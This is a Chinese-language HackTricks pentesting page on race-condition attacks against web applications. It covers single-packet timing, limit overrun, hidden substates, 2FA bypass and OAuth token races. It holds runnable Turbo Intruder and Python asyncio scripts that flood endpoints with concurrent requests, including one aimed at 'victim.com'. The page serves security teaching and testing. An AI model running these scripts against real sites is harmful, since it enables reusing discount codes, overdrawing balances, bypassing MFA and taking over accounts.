hacktricks/pentesting-web/race-condition.md

22 KiB
Raw Blame History

竞争条件


使用Trickest轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

利用竞争条件

滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms。在下一节中提出了不同的解决方案以实现这一点。

单数据包攻击HTTP/2/ 最后一个字节同步HTTP/1.1

HTTP2允许在单个TCP连接中发送2个请求而在HTTP/1.1中,它们必须是顺序的)。
使用单个TCP数据包可以完全消除网络抖动的影响,因此这对于竞争条件攻击也具有潜力。然而,两个请求对于可靠的竞争攻击来说是不够的,这要归功于服务器端抖动 - 应用程序请求处理时间的变化由于CPU争用等不可控变量引起。

但是使用HTTP/1.1的'最后一个字节同步'技术可以预先发送大部分数据并保留每个请求的一个小片段然后使用一个单个TCP数据包'完成'20-30个请求

预先发送每个请求的大部分数据

  • 如果请求没有正文请发送所有标头但不设置END_STREAM标志。保留一个带有设置了END_STREAM的空数据帧。
  • 如果请求有正文,请发送标头和除最后一个字节之外的所有正文数据。保留一个包含最后一个字节的数据帧。

接下来,准备发送最后的帧

  • 等待100ms以确保初始帧已发送。
  • 确保禁用TCP_NODELAY - Nagle算法批处理最后的帧至关重要。
  • 发送一个ping数据包以预热本地连接。如果不这样做操作系统的网络堆栈将把第一个最后的帧放在一个单独的数据包中。

最后发送被保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。

{% hint style="info" %} 请注意,这对于某些服务器上的静态文件不起作用,但静态文件对于竞争条件攻击是无关紧要的。 {% endhint %}

使用这种技术您可以使20-30个请求同时到达服务器 - 不受网络抖动的影响:

适应目标架构

值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。

因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如只允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前在服务器端进行连接预热 - 在连接上发送几个无关紧要的请求(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。

基于会话的锁定机制

一些框架尝试通过使用某种形式的请求锁定来防止意外数据损坏。例如,PHP的本机会话处理程序模块一次只处理一个会话的请求

发现此类行为非常重要,因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理,请尝试使用不同的会话令牌发送每个请求。

滥用速率或资源限制

如果连接预热没有任何效果,有多种解决方案可解决此问题。

使用Turbo Intruder您可以引入短暂的客户端延迟。然而由于这涉及将实际攻击请求分割成多个TCP数据包您将无法使用单数据包攻击技术。因此在高抖动目标上无论您设置了什么延迟攻击都不太可能可靠地工作。

相反,您可以通过滥用常见的安全功能来解决此问题。

Web服务器通常会延迟处理请求,如果发送得太快。通过发送大量的虚拟请求来故意触发速率或资源限制,您可能会导致适当的服务器端延迟。这使得即使需要延迟执行,单数据包攻击也是可行的。

{% hint style="warning" %} 有关此技术的更多信息,请查看原始报告:https://portswigger.net/research/smashing-the-state-machine {% endhint %}

攻击示例

  • Tubo Intruder - HTTP2单数据包攻击1个端点:您可以将请求发送到Turbo IntruderExtensions -> Turbo Intruder -> Send to Turbo Intruder),您可以在请求中更改要暴力破解的值**%s,例如csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s,然后从下拉菜单中选择examples/race-single-packer-attack.py**

如果您要发送不同的值,您可以使用以下代码,该代码使用剪贴板中的字典文件:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} 如果网站不支持HTTP2只支持HTTP1.1),请使用Engine.THREADEDEngine.BURP代替Engine.BURP2。 {% endhint %}

  • Tubo Intruder - HTTP2单数据包攻击多个端点如果您需要向一个端点发送请求然后向其他端点发送多个请求以触发RCE您可以将race-single-packet-attack.py脚本更改为以下内容:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • 它还可以通过Burp Suite中的新选项“以并行方式发送组”在Repeater中使用。
  • 对于limit-overrun您可以在组中添加相同的请求50次。
  • 对于连接预热您可以在组的开头添加一些请求到Web服务器的非静态部分。
  • 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
  • 对于多端点的RC您可以开始发送到隐藏状态的请求然后在其后发送50个利用隐藏状态的请求。

原始BF

在之前的研究中这些是一些用于尝试尽快发送数据包以引发RC的有效载荷。

  • Repeater请参考前一节中的示例。
  • Intruder将请求发送到Intruder将线程数设置为30在选项菜单中选择Null有效载荷并生成30个。
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

Python的asyncio模块

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC方法论

限制超越/TOCTOU

这是最基本的一种竞争条件,其中漏洞出现在限制您执行某个操作的次数的地方。比如在网店中多次使用相同的折扣码。一个非常简单的例子可以在这份报告或者这个漏洞中找到

这种攻击有很多变种,包括:

  • 多次兑换礼品卡
  • 多次评价产品
  • 超出账户余额提取或转账
  • 重复使用单个验证码解决方案
  • 绕过反暴力破解速率限制

隐藏的子状态

其他最复杂的竞争条件将利用机器状态中的子状态,这可能允许攻击者滥用他本不应该访问的状态,但攻击者有一个小窗口可以访问它。

  1. 预测潜在的隐藏和有趣的子状态

第一步是识别所有的端点,无论是写入还是读取数据,并将该数据用于某些重要的操作。例如,用户可能存储在一个数据库表中,该表通过注册、配置文件编辑、密码重置启动和密码重置完成进行修改。

我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象和相关的端点,问:

  • 状态是如何存储的?

存储在持久的服务器端数据结构中的数据非常适合利用。某些端点将其状态完全存储在客户端例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。

应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于这一点稍后再说。

  • 我们是在编辑还是在追加?

编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅仅追加现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除了限制超越攻击之外的任何漏洞。

  • 操作的键是什么?

大多数端点都是在特定记录上操作的,该记录是使用“键”查找的,例如用户名、密码重置令牌或文件名。为了成功攻击,我们需要两个使用相同键的操作。例如,想象两个合理的密码重置实现:

  1. 寻找线索

此时是时候对潜在的有趣端点发起一些RC攻击以寻找与常规响应不同的意外结果。任何与预期响应的改变比如一个或多个响应的变化或者像电子邮件内容的不同或会话中可见的变化这样的二阶效应都可能是指示出现问题的线索。

  1. 验证概念

最后一步是验证概念并将其转化为可行的攻击

当您发送一批请求时,您可能会发现早期的请求对一个易受攻击的最终状态进行了触发,但后来的请求覆盖/使其无效,最终状态无法被利用。在这种情况下,您将希望消除所有不必要的请求 - 两个请求应该足以利用大多数漏洞。然而,减少到两个请求将使攻击更加时间敏感,因此您可能需要多次重试攻击或自动化攻击。

时间敏感攻击

有时您可能找不到竞争条件,但是以精确的时间交付请求的技术仍然可以揭示其他漏洞的存在。

一个例子是当使用高分辨率时间戳而不是加密安全的随机字符串来生成安全令牌时。

考虑一个仅使用时间戳进行随机化的密码重置令牌。在这种情况下,可能可以触发两个不同用户的两个密码重置,它们都使用相同的令牌。您只需要计时请求,使它们生成相同的时间戳。

{% hint style="warning" %} 要确认前面的情况,您只需同时请求2个重置密码令牌(使用单个数据包攻击),并检查它们是否相同。 {% endhint %}

这个实验中检查示例。

隐藏的子状态案例研究

支付并添加商品

查看此实验以了解如何在商店中支付添加一个额外的商品,而无需为其付款。

确认其他电子邮件

这个想法是同时验证一个电子邮件地址并将其更改为另一个地址,以查看平台是否验证了新的更改后的地址。

将电子邮件更改为2个电子邮件地址基于Cookie

根据这篇文章Gitlab容易受到这种方式的接管因为它可能会将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件

您还可以查看这个实验以了解更多信息。

隐藏的数据库状态/确认绕过

如果使用2个不同的写操作信息添加到数据库中,那么在只有第一个数据被写入数据库的一小段时间内。例如,创建用户时,用户名密码可能会被写入,然后写入用于确认新创建的帐户的令牌。这意味着在短时间内确认帐户的令牌为空

因此,注册一个帐户并发送多个带有空令牌的请求token=token[]=或任何其他变体)立即确认帐户可能允许您确认一个您无法控制的电子邮件的帐户。

这个实验中检查一个示例。

绕过2FA

以下伪代码演示了一个网站如何容易受到这种攻击的竞争变体的影响:

def login(username, password):
    if verify_credentials(username, password):
        if not is_2fa_enabled(username):
            return "Login successful"
        else:
            token = generate_2fa_token()
            send_2fa_token(username, token)
            return "Please enter 2FA token"
    else:
        return "Invalid credentials"

def verify_2fa_token(username, token):
    if is_2fa_enabled(username):
        stored_token = get_stored_2fa_token(username)
        if token == stored_token:
            return True
        else:
            return False
    else:
        return False

def process_login(username, password, token):
    if verify_credentials(username, password):
        if verify_2fa_token(username, token):
            return "Login successful"
        else:
            return "Invalid 2FA token"
    else:
        return "Invalid credentials"

在这个示例中攻击者可以利用竞争条件来绕过2FA验证。攻击者可以在发送2FA令牌之后但在验证令牌之前尽快完成登录过程从而绕过2FA验证。这种攻击的成功取决于攻击者能够在验证令牌之前完成登录过程。

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

正如你所看到的,这实际上是一个在单个请求的范围内的多步骤序列。最重要的是,它会在一个子状态中转换,其中用户在临时拥有有效的登录会话但尚未强制执行多因素身份验证MFA。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。

OAuth2永久持久性

有几个OAuth提供者。这些服务将允许您创建一个应用程序并对提供者注册的用户进行身份验证。为了做到这一点,客户端将需要允许您的应用程序访问OAuth提供者内部的一些数据。
所以到目前为止只是一个常见的与Google/LinkedIn/GitHub等登录您会看到一个页面上面写着应用程序<InsertCoolName>想要访问您的信息,您是否允许?

authorization_code中的竞争条件

问题出现在您接受并自动发送一个authorization_code给恶意应用程序时。然后,该应用程序滥用OAuth服务提供者中的竞争条件authorization_code为您的帐户生成多个AT/RT(身份验证令牌/刷新令牌)。基本上,它将滥用您已经接受应用程序访问您的数据的事实,以创建多个帐户。然后,如果您停止允许应用程序访问您的数据一个AT/RT对将被删除但其他对仍然有效

Refresh Token中的竞争条件

一旦您获得了一个有效的RT,您可以尝试滥用它来生成多个AT/RT,即使用户取消了恶意应用程序访问其数据的权限,多个RT仍然有效

WebSockets中的竞争条件

WS_RaceCondition_PoC您可以找到一个Java的PoC用于以并行方式发送websocket消息以滥用WebSockets中的竞争条件

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}